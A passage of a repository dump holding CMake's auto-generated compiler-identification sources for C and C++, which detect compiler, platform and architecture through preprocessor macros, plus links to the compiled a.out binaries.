defined(__HAIKU__) 329 | # define PLATFORM_ID "Haiku" 330 | 331 | #elif defined(__BeOS) || defined(__BEOS__) || defined(_BEOS) 332 | # define PLATFORM_ID "BeOS" 333 | 334 | #elif defined(__QNX__) || defined(__QNXNTO__) 335 | # define PLATFORM_ID "QNX" 336 | 337 | #elif defined(__tru64) || defined(_tru64) || defined(__TRU64__) 338 | # define PLATFORM_ID "Tru64" 339 | 340 | #elif defined(__riscos) || defined(__riscos__) 341 | # define PLATFORM_ID "RISCos" 342 | 343 | #elif defined(__sinix) || defined(__sinix__) || defined(__SINIX__) 344 | # define PLATFORM_ID "SINIX" 345 | 346 | #elif defined(__UNIX_SV__) 347 | # define PLATFORM_ID "UNIX_SV" 348 | 349 | #elif defined(__bsdos__) 350 | # define PLATFORM_ID "BSDOS" 351 | 352 | #elif defined(_MPRAS) || defined(MPRAS) 353 | # define PLATFORM_ID "MP-RAS" 354 | 355 | #elif defined(__osf) || defined(__osf__) 356 | # define PLATFORM_ID "OSF1" 357 | 358 | #elif defined(_SCO_SV) || defined(SCO_SV) || defined(sco_sv) 359 | # define PLATFORM_ID "SCO_SV" 360 | 361 | #elif defined(__ultrix) || defined(__ultrix__) || defined(_ULTRIX) 362 | # define PLATFORM_ID "ULTRIX" 363 | 364 | #elif defined(__XENIX__) || defined(_XENIX) || defined(XENIX) 365 | # define PLATFORM_ID "Xenix" 366 | 367 | #elif defined(__WATCOMC__) 368 | # if defined(__LINUX__) 369 | # define PLATFORM_ID "Linux" 370 | 371 | # elif defined(__DOS__) 372 | # define PLATFORM_ID "DOS" 373 | 374 | # elif defined(__OS2__) 375 | # define PLATFORM_ID "OS2" 376 | 377 | # elif defined(__WINDOWS__) 378 | # define PLATFORM_ID "Windows3x" 379 | 380 | # else /* unknown platform */ 381 | # define PLATFORM_ID "" 382 | # endif 383 | 384 | #else /* unknown platform */ 385 | # define PLATFORM_ID "" 386 | 387 | #endif 388 | 389 | /* For windows compilers MSVC and Intel we can determine 390 | the architecture of the compiler being used. This is because 391 | the compilers do not have flags that can change the architecture, 392 | but rather depend on which compiler is being used 393 | */ 394 | #if defined(_WIN32) && defined(_MSC_VER) 395 | # if defined(_M_IA64) 396 | # define ARCHITECTURE_ID "IA64" 397 | 398 | # elif defined(_M_X64) || defined(_M_AMD64) 399 | # define ARCHITECTURE_ID "x64" 400 | 401 | # elif defined(_M_IX86) 402 | # define ARCHITECTURE_ID "X86" 403 | 404 | # elif defined(_M_ARM) 405 | # if _M_ARM == 4 406 | # define ARCHITECTURE_ID "ARMV4I" 407 | # elif _M_ARM == 5 408 | # define ARCHITECTURE_ID "ARMV5I" 409 | # else 410 | # define ARCHITECTURE_ID "ARMV" STRINGIFY(_M_ARM) 411 | # endif 412 | 413 | # elif defined(_M_MIPS) 414 | # define ARCHITECTURE_ID "MIPS" 415 | 416 | # elif defined(_M_SH) 417 | # define ARCHITECTURE_ID "SHx" 418 | 419 | # else /* unknown architecture */ 420 | # define ARCHITECTURE_ID "" 421 | # endif 422 | 423 | #elif defined(__WATCOMC__) 424 | # if defined(_M_I86) 425 | # define ARCHITECTURE_ID "I86" 426 | 427 | # elif defined(_M_IX86) 428 | # define ARCHITECTURE_ID "X86" 429 | 430 | # else /* unknown architecture */ 431 | # define ARCHITECTURE_ID "" 432 | # endif 433 | 434 | #else 435 | # define ARCHITECTURE_ID "" 436 | #endif 437 | 438 | /* Convert integer to decimal digit literals. */ 439 | #define DEC(n) \ 440 | ('0' + (((n) / 10000000)%10)), \ 441 | ('0' + (((n) / 1000000)%10)), \ 442 | ('0' + (((n) / 100000)%10)), \ 443 | ('0' + (((n) / 10000)%10)), \ 444 | ('0' + (((n) / 1000)%10)), \ 445 | ('0' + (((n) / 100)%10)), \ 446 | ('0' + (((n) / 10)%10)), \ 447 | ('0' + ((n) % 10)) 448 | 449 | /* Convert integer to hex digit literals. */ 450 | #define HEX(n) \ 451 | ('0' + ((n)>>28 & 0xF)), \ 452 | ('0' + ((n)>>24 & 0xF)), \ 453 | ('0' + ((n)>>20 & 0xF)), \ 454 | ('0' + ((n)>>16 & 0xF)), \ 455 | ('0' + ((n)>>12 & 0xF)), \ 456 | ('0' + ((n)>>8 & 0xF)), \ 457 | ('0' + ((n)>>4 & 0xF)), \ 458 | ('0' + ((n) & 0xF)) 459 | 460 | /* Construct a string literal encoding the version number components. */ 461 | #ifdef COMPILER_VERSION_MAJOR 462 | char const info_version[] = { 463 | 'I', 'N', 'F', 'O', ':', 464 | 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','[', 465 | COMPILER_VERSION_MAJOR, 466 | # ifdef COMPILER_VERSION_MINOR 467 | '.', COMPILER_VERSION_MINOR, 468 | # ifdef COMPILER_VERSION_PATCH 469 | '.', COMPILER_VERSION_PATCH, 470 | # ifdef COMPILER_VERSION_TWEAK 471 | '.', COMPILER_VERSION_TWEAK, 472 | # endif 473 | # endif 474 | # endif 475 | ']','\0'}; 476 | #endif 477 | 478 | /* Construct a string literal encoding the version number components. */ 479 | #ifdef SIMULATE_VERSION_MAJOR 480 | char const info_simulate_version[] = { 481 | 'I', 'N', 'F', 'O', ':', 482 | 's','i','m','u','l','a','t','e','_','v','e','r','s','i','o','n','[', 483 | SIMULATE_VERSION_MAJOR, 484 | # ifdef SIMULATE_VERSION_MINOR 485 | '.', SIMULATE_VERSION_MINOR, 486 | # ifdef SIMULATE_VERSION_PATCH 487 | '.', SIMULATE_VERSION_PATCH, 488 | # ifdef SIMULATE_VERSION_TWEAK 489 | '.', SIMULATE_VERSION_TWEAK, 490 | # endif 491 | # endif 492 | # endif 493 | ']','\0'}; 494 | #endif 495 | 496 | /* Construct the string literal in pieces to prevent the source from 497 | getting matched. Store it in a pointer rather than an array 498 | because some compilers will just produce instructions to fill the 499 | array rather than assigning a pointer to a static array. */ 500 | char const* info_platform = "INFO" ":" "platform[" PLATFORM_ID "]"; 501 | char const* info_arch = "INFO" ":" "arch[" ARCHITECTURE_ID "]"; 502 | 503 | 504 | 505 | 506 | const char* info_language_dialect_default = "INFO" ":" "dialect_default[" 507 | #if !defined(__STDC_VERSION__) 508 | "90" 509 | #elif __STDC_VERSION__ >= 201000L 510 | "11" 511 | #elif __STDC_VERSION__ >= 199901L 512 | "99" 513 | #else 514 | #endif 515 | "]"; 516 | 517 | /*--------------------------------------------------------------------------*/ 518 | 519 | #ifdef ID_VOID_MAIN 520 | void main() {} 521 | #else 522 | int main(int argc, char* argv[]) 523 | { 524 | int require = 0; 525 | require += info_compiler[argc]; 526 | require += info_platform[argc]; 527 | require += info_arch[argc]; 528 | #ifdef COMPILER_VERSION_MAJOR 529 | require += info_version[argc]; 530 | #endif 531 | #ifdef SIMULATE_ID 532 | require += info_simulate[argc]; 533 | #endif 534 | #ifdef SIMULATE_VERSION_MAJOR 535 | require += info_simulate_version[argc]; 536 | #endif 537 | #if defined(__CRAYXE) || defined(__CRAYXC) 538 | require += info_cray[argc]; 539 | #endif 540 | require += info_language_dialect_default[argc]; 541 | (void)argv; 542 | return require; 543 | } 544 | #endif 545 | -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CompilerIdC/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/3.5.1/CompilerIdC/a.out -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CompilerIdCXX/CMakeCXXCompilerId.cpp: -------------------------------------------------------------------------------- 1 | /* This source file must have a .cpp extension so that all C++ compilers 2 | recognize the extension without flags. Borland does not know .cxx for 3 | example. */ 4 | #ifndef __cplusplus 5 | # error "A C compiler has been selected for C++." 6 | #endif 7 | 8 | 9 | /* Version number components: V=Version, R=Revision, P=Patch 10 | Version date components: YYYY=Year, MM=Month, DD=Day */ 11 | 12 | #if defined(__COMO__) 13 | # define COMPILER_ID "Comeau" 14 | /* __COMO_VERSION__ = VRR */ 15 | # define COMPILER_VERSION_MAJOR DEC(__COMO_VERSION__ / 100) 16 | # define COMPILER_VERSION_MINOR DEC(__COMO_VERSION__ % 100) 17 | 18 | #elif defined(__INTEL_COMPILER) || defined(__ICC) 19 | # define COMPILER_ID "Intel" 20 | # if defined(_MSC_VER) 21 | # define SIMULATE_ID "MSVC" 22 | # endif 23 | /* __INTEL_COMPILER = VRP */ 24 | # define COMPILER_VERSION_MAJOR DEC(__INTEL_COMPILER/100) 25 | # define COMPILER_VERSION_MINOR DEC(__INTEL_COMPILER/10 % 10) 26 | # if defined(__INTEL_COMPILER_UPDATE) 27 | # define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER_UPDATE) 28 | # else 29 | # define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER % 10) 30 | # endif 31 | # if defined(__INTEL_COMPILER_BUILD_DATE) 32 | /* __INTEL_COMPILER_BUILD_DATE = YYYYMMDD */ 33 | # define COMPILER_VERSION_TWEAK DEC(__INTEL_COMPILER_BUILD_DATE) 34 | # endif 35 | # if defined(_MSC_VER) 36 | /* _MSC_VER = VVRR */ 37 | # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) 38 | # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) 39 | # endif 40 | 41 | #elif defined(__PATHCC__) 42 | # define COMPILER_ID "PathScale" 43 | # define COMPILER_VERSION_MAJOR DEC(__PATHCC__) 44 | # define COMPILER_VERSION_MINOR DEC(__PATHCC_MINOR__) 45 | # if defined(__PATHCC_PATCHLEVEL__) 46 | # define COMPILER_VERSION_PATCH DEC(__PATHCC_PATCHLEVEL__) 47 | # endif 48 | 49 | #elif defined(__BORLANDC__) && defined(__CODEGEARC_VERSION__) 50 | # define COMPILER_ID "Embarcadero" 51 | # define COMPILER_VERSION_MAJOR HEX(__CODEGEARC_VERSION__>>24 & 0x00FF) 52 | # define COMPILER_VERSION_MINOR HEX(__CODEGEARC_VERSION__>>16 & 0x00FF) 53 | # define COMPILER_VERSION_PATCH DEC(__CODEGEARC_VERSION__ & 0xFFFF) 54 | 55 | #elif defined(__BORLANDC__) 56 | # define COMPILER_ID "Borland" 57 | /* __BORLANDC__ = 0xVRR */ 58 | # define COMPILER_VERSION_MAJOR HEX(__BORLANDC__>>8) 59 | # define COMPILER_VERSION_MINOR HEX(__BORLANDC__ & 0xFF) 60 | 61 | #elif defined(__WATCOMC__) && __WATCOMC__ < 1200 62 | # define COMPILER_ID "Watcom" 63 | /* __WATCOMC__ = VVRR */ 64 | # define COMPILER_VERSION_MAJOR DEC(__WATCOMC__ / 100) 65 | # define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) 66 | # if (__WATCOMC__ % 10) > 0 67 | # define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) 68 | # endif 69 | 70 | #elif defined(__WATCOMC__) 71 | # define COMPILER_ID "OpenWatcom" 72 | /* __WATCOMC__ = VVRP + 1100 */ 73 | # define COMPILER_VERSION_MAJOR DEC((__WATCOMC__ - 1100) / 100) 74 | # define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) 75 | # if (__WATCOMC__ % 10) > 0 76 | # define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) 77 | # endif 78 | 79 | #elif defined(__SUNPRO_CC) 80 | # define COMPILER_ID "SunPro" 81 | # if __SUNPRO_CC >= 0x5100 82 | /* __SUNPRO_CC = 0xVRRP */ 83 | # define COMPILER_VERSION_MAJOR HEX(__SUNPRO_CC>>12) 84 | # define COMPILER_VERSION_MINOR HEX(__SUNPRO_CC>>4 & 0xFF) 85 | # define COMPILER_VERSION_PATCH HEX(__SUNPRO_CC & 0xF) 86 | # else 87 | /* __SUNPRO_CC = 0xVRP */ 88 | # define COMPILER_VERSION_MAJOR HEX(__SUNPRO_CC>>8) 89 | # define COMPILER_VERSION_MINOR HEX(__SUNPRO_CC>>4 & 0xF) 90 | # define COMPILER_VERSION_PATCH HEX(__SUNPRO_CC & 0xF) 91 | # endif 92 | 93 | #elif defined(__HP_aCC) 94 | # define COMPILER_ID "HP" 95 | /* __HP_aCC = VVRRPP */ 96 | # define COMPILER_VERSION_MAJOR DEC(__HP_aCC/10000) 97 | # define COMPILER_VERSION_MINOR DEC(__HP_aCC/100 % 100) 98 | # define COMPILER_VERSION_PATCH DEC(__HP_aCC % 100) 99 | 100 | #elif defined(__DECCXX) 101 | # define COMPILER_ID "Compaq" 102 | /* __DECCXX_VER = VVRRTPPPP */ 103 | # define COMPILER_VERSION_MAJOR DEC(__DECCXX_VER/10000000) 104 | # define COMPILER_VERSION_MINOR DEC(__DECCXX_VER/100000 % 100) 105 | # define COMPILER_VERSION_PATCH DEC(__DECCXX_VER % 10000) 106 | 107 | #elif defined(__IBMCPP__) && defined(__COMPILER_VER__) 108 | # define COMPILER_ID "zOS" 109 | /* __IBMCPP__ = VRP */ 110 | # define COMPILER_VERSION_MAJOR DEC(__IBMCPP__/100) 111 | # define COMPILER_VERSION_MINOR DEC(__IBMCPP__/10 % 10) 112 | # define COMPILER_VERSION_PATCH DEC(__IBMCPP__ % 10) 113 | 114 | #elif defined(__IBMCPP__) && !defined(__COMPILER_VER__) && __IBMCPP__ >= 800 115 | # define COMPILER_ID "XL" 116 | /* __IBMCPP__ = VRP */ 117 | # define COMPILER_VERSION_MAJOR DEC(__IBMCPP__/100) 118 | # define COMPILER_VERSION_MINOR DEC(__IBMCPP__/10 % 10) 119 | # define COMPILER_VERSION_PATCH DEC(__IBMCPP__ % 10) 120 | 121 | #elif defined(__IBMCPP__) && !defined(__COMPILER_VER__) && __IBMCPP__ < 800 122 | # define COMPILER_ID "VisualAge" 123 | /* __IBMCPP__ = VRP */ 124 | # define COMPILER_VERSION_MAJOR DEC(__IBMCPP__/100) 125 | # define COMPILER_VERSION_MINOR DEC(__IBMCPP__/10 % 10) 126 | # define COMPILER_VERSION_PATCH DEC(__IBMCPP__ % 10) 127 | 128 | #elif defined(__PGI) 129 | # define COMPILER_ID "PGI" 130 | # define COMPILER_VERSION_MAJOR DEC(__PGIC__) 131 | # define COMPILER_VERSION_MINOR DEC(__PGIC_MINOR__) 132 | # if defined(__PGIC_PATCHLEVEL__) 133 | # define COMPILER_VERSION_PATCH DEC(__PGIC_PATCHLEVEL__) 134 | # endif 135 | 136 | #elif defined(_CRAYC) 137 | # define COMPILER_ID "Cray" 138 | # define COMPILER_VERSION_MAJOR DEC(_RELEASE_MAJOR) 139 | # define COMPILER_VERSION_MINOR DEC(_RELEASE_MINOR) 140 | 141 | #elif defined(__TI_COMPILER_VERSION__) 142 | # define COMPILER_ID "TI" 143 | /* __TI_COMPILER_VERSION__ = VVVRRRPPP */ 144 | # define COMPILER_VERSION_MAJOR DEC(__TI_COMPILER_VERSION__/1000000) 145 | # define COMPILER_VERSION_MINOR DEC(__TI_COMPILER_VERSION__/1000 % 1000) 146 | # define COMPILER_VERSION_PATCH DEC(__TI_COMPILER_VERSION__ % 1000) 147 | 148 | #elif defined(__FUJITSU) || defined(__FCC_VERSION) || defined(__fcc_version) 149 | # define COMPILER_ID "Fujitsu" 150 | 151 | #elif defined(__SCO_VERSION__) 152 | # define COMPILER_ID "SCO" 153 | 154 | #elif defined(__clang__) && defined(__apple_build_version__) 155 | # define COMPILER_ID "AppleClang" 156 | # if defined(_MSC_VER) 157 | # define SIMULATE_ID "MSVC" 158 | # endif 159 | # define COMPILER_VERSION_MAJOR DEC(__clang_major__) 160 | # define COMPILER_VERSION_MINOR DEC(__clang_minor__) 161 | # define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) 162 | # if defined(_MSC_VER) 163 | /* _MSC_VER = VVRR */ 164 | # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) 165 | # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) 166 | # endif 167 | # define COMPILER_VERSION_TWEAK DEC(__apple_build_version__) 168 | 169 | #elif defined(__clang__) 170 | # define COMPILER_ID "Clang" 171 | # if defined(_MSC_VER) 172 | # define SIMULATE_ID "MSVC" 173 | # endif 174 | # define COMPILER_VERSION_MAJOR DEC(__clang_major__) 175 | # define COMPILER_VERSION_MINOR DEC(__clang_minor__) 176 | # define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) 177 | # if defined(_MSC_VER) 178 | /* _MSC_VER = VVRR */ 179 | # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) 180 | # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) 181 | # endif 182 | 183 | #elif defined(__GNUC__) 184 | # define COMPILER_ID "GNU" 185 | # define COMPILER_VERSION_MAJOR DEC(__GNUC__) 186 | # if defined(__GNUC_MINOR__) 187 | # define COMPILER_VERSION_MINOR DEC(__GNUC_MINOR__) 188 | # endif 189 | # if defined(__GNUC_PATCHLEVEL__) 190 | # define COMPILER_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) 191 | # endif 192 | 193 | #elif defined(_MSC_VER) 194 | # define COMPILER_ID "MSVC" 195 | /* _MSC_VER = VVRR */ 196 | # define COMPILER_VERSION_MAJOR DEC(_MSC_VER / 100) 197 | # define COMPILER_VERSION_MINOR DEC(_MSC_VER % 100) 198 | # if defined(_MSC_FULL_VER) 199 | # if _MSC_VER >= 1400 200 | /* _MSC_FULL_VER = VVRRPPPPP */ 201 | # define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 100000) 202 | # else 203 | /* _MSC_FULL_VER = VVRRPPPP */ 204 | # define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 10000) 205 | # endif 206 | # endif 207 | # if defined(_MSC_BUILD) 208 | # define COMPILER_VERSION_TWEAK DEC(_MSC_BUILD) 209 | # endif 210 | 211 | #elif defined(__VISUALDSPVERSION__) || defined(__ADSPBLACKFIN__) || defined(__ADSPTS__) || defined(__ADSP21000__) 212 | # define COMPILER_ID "ADSP" 213 | #if defined(__VISUALDSPVERSION__) 214 | /* __VISUALDSPVERSION__ = 0xVVRRPP00 */ 215 | # define COMPILER_VERSION_MAJOR HEX(__VISUALDSPVERSION__>>24) 216 | # define COMPILER_VERSION_MINOR HEX(__VISUALDSPVERSION__>>16 & 0xFF) 217 | # define COMPILER_VERSION_PATCH HEX(__VISUALDSPVERSION__>>8 & 0xFF) 218 | #endif 219 | 220 | #elif defined(__IAR_SYSTEMS_ICC__ ) || defined(__IAR_SYSTEMS_ICC) 221 | # define COMPILER_ID "IAR" 222 | 223 | #elif defined(__ARMCC_VERSION) 224 | # define COMPILER_ID "ARMCC" 225 | #if __ARMCC_VERSION >= 1000000 226 | /* __ARMCC_VERSION = VRRPPPP */ 227 | # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/1000000) 228 | # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 100) 229 | # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) 230 | #else 231 | /* __ARMCC_VERSION = VRPPPP */ 232 | # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/100000) 233 | # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 10) 234 | # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) 235 | #endif 236 | 237 | 238 | #elif defined(_SGI_COMPILER_VERSION) || defined(_COMPILER_VERSION) 239 | # define COMPILER_ID "MIPSpro" 240 | # if defined(_SGI_COMPILER_VERSION) 241 | /* _SGI_COMPILER_VERSION = VRP */ 242 | # define COMPILER_VERSION_MAJOR DEC(_SGI_COMPILER_VERSION/100) 243 | # define COMPILER_VERSION_MINOR DEC(_SGI_COMPILER_VERSION/10 % 10) 244 | # define COMPILER_VERSION_PATCH DEC(_SGI_COMPILER_VERSION % 10) 245 | # else 246 | /* _COMPILER_VERSION = VRP */ 247 | # define COMPILER_VERSION_MAJOR DEC(_COMPILER_VERSION/100) 248 | # define COMPILER_VERSION_MINOR DEC(_COMPILER_VERSION/10 % 10) 249 | # define COMPILER_VERSION_PATCH DEC(_COMPILER_VERSION % 10) 250 | # endif 251 | 252 | 253 | /* These compilers are either not known or too old to define an 254 | identification macro. Try to identify the platform and guess that 255 | it is the native compiler. */ 256 | #elif defined(__sgi) 257 | # define COMPILER_ID "MIPSpro" 258 | 259 | #elif defined(__hpux) || defined(__hpua) 260 | # define COMPILER_ID "HP" 261 | 262 | #else /* unknown compiler */ 263 | # define COMPILER_ID "" 264 | #endif 265 | 266 | /* Construct the string literal in pieces to prevent the source from 267 | getting matched. Store it in a pointer rather than an array 268 | because some compilers will just produce instructions to fill the 269 | array rather than assigning a pointer to a static array. */ 270 | char const* info_compiler = "INFO" ":" "compiler[" COMPILER_ID "]"; 271 | #ifdef SIMULATE_ID 272 | char const* info_simulate = "INFO" ":" "simulate[" SIMULATE_ID "]"; 273 | #endif 274 | 275 | #ifdef __QNXNTO__ 276 | char const* qnxnto = "INFO" ":" "qnxnto[]"; 277 | #endif 278 | 279 | #if defined(__CRAYXE) || defined(__CRAYXC) 280 | char const *info_cray = "INFO" ":" "compiler_wrapper[CrayPrgEnv]"; 281 | #endif 282 | 283 | #define STRINGIFY_HELPER(X) #X 284 | #define STRINGIFY(X) STRINGIFY_HELPER(X) 285 | 286 | /* Identify known platforms by name. */ 287 | #if defined(__linux) || defined(__linux__) || defined(linux) 288 | # define PLATFORM_ID "Linux" 289 | 290 | #elif defined(__CYGWIN__) 291 | # define PLATFORM_ID "Cygwin" 292 | 293 | #elif defined(__MINGW32__) 294 | # define PLATFORM_ID "MinGW" 295 | 296 | #elif defined(__APPLE__) 297 | # define PLATFORM_ID "Darwin" 298 | 299 | #elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) 300 | # define PLATFORM_ID "Windows" 301 | 302 | #elif defined(__FreeBSD__) || defined(__FreeBSD) 303 | # define PLATFORM_ID "FreeBSD" 304 | 305 | #elif defined(__NetBSD__) || defined(__NetBSD) 306 | # define PLATFORM_ID "NetBSD" 307 | 308 | #elif defined(__OpenBSD__) || defined(__OPENBSD) 309 | # define PLATFORM_ID "OpenBSD" 310 | 311 | #elif defined(__sun) || defined(sun) 312 | # define PLATFORM_ID "SunOS" 313 | 314 | #elif defined(_AIX) || defined(__AIX) || defined(__AIX__) || defined(__aix) || defined(__aix__) 315 | # define PLATFORM_ID "AIX" 316 | 317 | #elif defined(__sgi) || defined(__sgi__) || defined(_SGI) 318 | # define PLATFORM_ID "IRIX" 319 | 320 | #elif defined(__hpux) || defined(__hpux__) 321 | # define PLATFORM_ID "HP-UX" 322 | 323 | #elif defined(__HAIKU__) 324 | # define PLATFORM_ID "Haiku" 325 | 326 | #elif defined(__BeOS) || defined(__BEOS__) || defined(_BEOS) 327 | # define PLATFORM_ID "BeOS" 328 | 329 | #elif defined(__QNX__) || defined(__QNXNTO__) 330 | # define PLATFORM_ID "QNX" 331 | 332 | #elif defined(__tru64) || defined(_tru64) || defined(__TRU64__) 333 | # define PLATFORM_ID "Tru64" 334 | 335 | #elif defined(__riscos) || defined(__riscos__) 336 | # define PLATFORM_ID "RISCos" 337 | 338 | #elif defined(__sinix) || defined(__sinix__) || defined(__SINIX__) 339 | # define PLATFORM_ID "SINIX" 340 | 341 | #elif defined(__UNIX_SV__) 342 | # define PLATFORM_ID "UNIX_SV" 343 | 344 | #elif defined(__bsdos__) 345 | # define PLATFORM_ID "BSDOS" 346 | 347 | #elif defined(_MPRAS) || defined(MPRAS) 348 | # define PLATFORM_ID "MP-RAS" 349 | 350 | #elif defined(__osf) || defined(__osf__) 351 | # define PLATFORM_ID "OSF1" 352 | 353 | #elif defined(_SCO_SV) || defined(SCO_SV) || defined(sco_sv) 354 | # define PLATFORM_ID "SCO_SV" 355 | 356 | #elif defined(__ultrix) || defined(__ultrix__) || defined(_ULTRIX) 357 | # define PLATFORM_ID "ULTRIX" 358 | 359 | #elif defined(__XENIX__) || defined(_XENIX) || defined(XENIX) 360 | # define PLATFORM_ID "Xenix" 361 | 362 | #elif defined(__WATCOMC__) 363 | # if defined(__LINUX__) 364 | # define PLATFORM_ID "Linux" 365 | 366 | # elif defined(__DOS__) 367 | # define PLATFORM_ID "DOS" 368 | 369 | # elif defined(__OS2__) 370 | # define PLATFORM_ID "OS2" 371 | 372 | # elif defined(__WINDOWS__) 373 | # define PLATFORM_ID "Windows3x" 374 | 375 | # else /* unknown platform */ 376 | # define PLATFORM_ID "" 377 | # endif 378 | 379 | #else /* unknown platform */ 380 | # define PLATFORM_ID "" 381 | 382 | #endif 383 | 384 | /* For windows compilers MSVC and Intel we can determine 385 | the architecture of the compiler being used. This is because 386 | the compilers do not have flags that can change the architecture, 387 | but rather depend on which compiler is being used 388 | */ 389 | #if defined(_WIN32) && defined(_MSC_VER) 390 | # if defined(_M_IA64) 391 | # define ARCHITECTURE_ID "IA64" 392 | 393 | # elif defined(_M_X64) || defined(_M_AMD64) 394 | # define ARCHITECTURE_ID "x64" 395 | 396 | # elif defined(_M_IX86) 397 | # define ARCHITECTURE_ID "X86" 398 | 399 | # elif defined(_M_ARM) 400 | # if _M_ARM == 4 401 | # define ARCHITECTURE_ID "ARMV4I" 402 | # elif _M_ARM == 5 403 | # define ARCHITECTURE_ID "ARMV5I" 404 | # else 405 | # define ARCHITECTURE_ID "ARMV" STRINGIFY(_M_ARM) 406 | # endif 407 | 408 | # elif defined(_M_MIPS) 409 | # define ARCHITECTURE_ID "MIPS" 410 | 411 | # elif defined(_M_SH) 412 | # define ARCHITECTURE_ID "SHx" 413 | 414 | # else /* unknown architecture */ 415 | # define ARCHITECTURE_ID "" 416 | # endif 417 | 418 | #elif defined(__WATCOMC__) 419 | # if defined(_M_I86) 420 | # define ARCHITECTURE_ID "I86" 421 | 422 | # elif defined(_M_IX86) 423 | # define ARCHITECTURE_ID "X86" 424 | 425 | # else /* unknown architecture */ 426 | # define ARCHITECTURE_ID "" 427 | # endif 428 | 429 | #else 430 | # define ARCHITECTURE_ID "" 431 | #endif 432 | 433 | /* Convert integer to decimal digit literals. */ 434 | #define DEC(n) \ 435 | ('0' + (((n) / 10000000)%10)), \ 436 | ('0' + (((n) / 1000000)%10)), \ 437 | ('0' + (((n) / 100000)%10)), \ 438 | ('0' + (((n) / 10000)%10)), \ 439 | ('0' + (((n) / 1000)%10)), \ 440 | ('0' + (((n) / 100)%10)), \ 441 | ('0' + (((n) / 10)%10)), \ 442 | ('0' + ((n) % 10)) 443 | 444 | /* Convert integer to hex digit literals. */ 445 | #define HEX(n) \ 446 | ('0' + ((n)>>28 & 0xF)), \ 447 | ('0' + ((n)>>24 & 0xF)), \ 448 | ('0' + ((n)>>20 & 0xF)), \ 449 | ('0' + ((n)>>16 & 0xF)), \ 450 | ('0' + ((n)>>12 & 0xF)), \ 451 | ('0' + ((n)>>8 & 0xF)), \ 452 | ('0' + ((n)>>4 & 0xF)), \ 453 | ('0' + ((n) & 0xF)) 454 | 455 | /* Construct a string literal encoding the version number components. */ 456 | #ifdef COMPILER_VERSION_MAJOR 457 | char const info_version[] = { 458 | 'I', 'N', 'F', 'O', ':', 459 | 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','[', 460 | COMPILER_VERSION_MAJOR, 461 | # ifdef COMPILER_VERSION_MINOR 462 | '.', COMPILER_VERSION_MINOR, 463 | # ifdef COMPILER_VERSION_PATCH 464 | '.', COMPILER_VERSION_PATCH, 465 | # ifdef COMPILER_VERSION_TWEAK 466 | '.', COMPILER_VERSION_TWEAK, 467 | # endif 468 | # endif 469 | # endif 470 | ']','\0'}; 471 | #endif 472 | 473 | /* Construct a string literal encoding the version number components. */ 474 | #ifdef SIMULATE_VERSION_MAJOR 475 | char const info_simulate_version[] = { 476 | 'I', 'N', 'F', 'O', ':', 477 | 's','i','m','u','l','a','t','e','_','v','e','r','s','i','o','n','[', 478 | SIMULATE_VERSION_MAJOR, 479 | # ifdef SIMULATE_VERSION_MINOR 480 | '.', SIMULATE_VERSION_MINOR, 481 | # ifdef SIMULATE_VERSION_PATCH 482 | '.', SIMULATE_VERSION_PATCH, 483 | # ifdef SIMULATE_VERSION_TWEAK 484 | '.', SIMULATE_VERSION_TWEAK, 485 | # endif 486 | # endif 487 | # endif 488 | ']','\0'}; 489 | #endif 490 | 491 | /* Construct the string literal in pieces to prevent the source from 492 | getting matched. Store it in a pointer rather than an array 493 | because some compilers will just produce instructions to fill the 494 | array rather than assigning a pointer to a static array. */ 495 | char const* info_platform = "INFO" ":" "platform[" PLATFORM_ID "]"; 496 | char const* info_arch = "INFO" ":" "arch[" ARCHITECTURE_ID "]"; 497 | 498 | 499 | 500 | 501 | const char* info_language_dialect_default = "INFO" ":" "dialect_default[" 502 | #if __cplusplus >= 201402L 503 | "14" 504 | #elif __cplusplus >= 201103L 505 | "11" 506 | #else 507 | "98" 508 | #endif 509 | "]"; 510 | 511 | /*--------------------------------------------------------------------------*/ 512 | 513 | int main(int argc, char* argv[]) 514 | { 515 | int require = 0; 516 | require += info_compiler[argc]; 517 | require += info_platform[argc]; 518 | #ifdef COMPILER_VERSION_MAJOR 519 | require += info_version[argc]; 520 | #endif 521 | #ifdef SIMULATE_ID 522 | require += info_simulate[argc]; 523 | #endif 524 | #ifdef SIMULATE_VERSION_MAJOR 525 | require += info_simulate_version[argc]; 526 | #endif 527 | #if defined(__CRAYXE) || defined(__CRAYXC) 528 | require += info_cray[argc]; 529 | #endif 530 | require += info_language_dialect_default[argc]; 531 | (void)argv; 532 | return require; 533 | } 534 | -------------------------------------------------------------------------------- /CMakeFiles/3.5.1/CompilerIdCXX/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/CMakeFiles/3.5.1/CompilerIdCXX/a.out -------------------------------------------------------------------------------- 